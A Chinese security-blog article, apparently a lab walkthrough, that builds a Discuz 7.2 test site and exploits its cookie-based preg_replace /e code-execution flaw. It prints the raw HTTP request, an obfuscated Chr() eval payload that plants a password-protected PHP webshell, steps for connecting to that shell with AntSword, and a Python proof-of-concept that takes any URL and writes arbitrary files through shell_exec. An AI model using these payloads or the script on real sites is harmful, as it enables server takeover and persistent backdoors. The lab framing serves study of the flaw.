官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
环境搭建
准备一台win7装上的phpstudy
将discuz7.2源码放进去
安装discuz之前,需要先安装center
文件夹搭建存放的位置是:
解压完成之后更改名称
再然后需要把ucenter放到discuz源码下边
开始安装
安装discuz之前
首先需要安装ucenter
我们先将源码拉进phpstudy根目录下边
- 首先安装ucenter
http://192.168.0.108/discuz7/ucenter/
需要填的只有标红框的
安装完成之后
- 我们进行安装2
http://192.168.0.108/discuz7/install/
最关键的一步来了
需要将ucenter的url修改成http://192.168.0.108/discuz7/ucenter
因为我们把ucenter的源码文件放到了discuz7下边了
发现安装成功
漏洞利用
php版本为3.3.29
需要修改配置文件php.ini
将request_order = "GP"
漏洞成因以及payload:
漏洞成因以及payload: GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1 #固定访问格式 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); #代码执行 Connection: close 首先访问存在漏洞的url
首先访问存在漏洞的url
利用我鹏哥发的进行getshell
cookie里面的payload如下: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
创建的文件为wf.php,密码为lalala
我们去网站根目录查看:
发现成功写入一个一句话木马文件
我们在攻击机器上面进行访问
再用蚁剑进行连接
成功getshell
蚁剑上面存在敏感的一些shell信息,我就不发出来了
编写上传poc
import requests url = input("请输入要检测的网址:") data = input("请输入要写入的内容:") file = input("请输入文件的名称:") urlexp = "viewthread.php?tid=10&extra=page%3D1"+"&x="+"$id=('echo%20"+data+"%20>%20"+file+"');shell_exec($id);" urlexp1 = url+urlexp cookie = {"Cookie":"GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_REQUEST[x]);"} def getshell(): result = requests.get(urlexp1,headers=cookie).status_code if result == 200: print("写入文件成功") print("写入的文件名称为:%s,内容是:%s"%(file,data)) else: print("写入文件失败") getshell() #http://127.0.0.1:8086/discuz7/ #
验证
成功写入
参考链接:法老的博客
https://laosec.cn/2021/01/27/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91-Discuz7-2Getshell%E8%84%9A%E6%9C%AC%E7%BC%96%E5%86%99/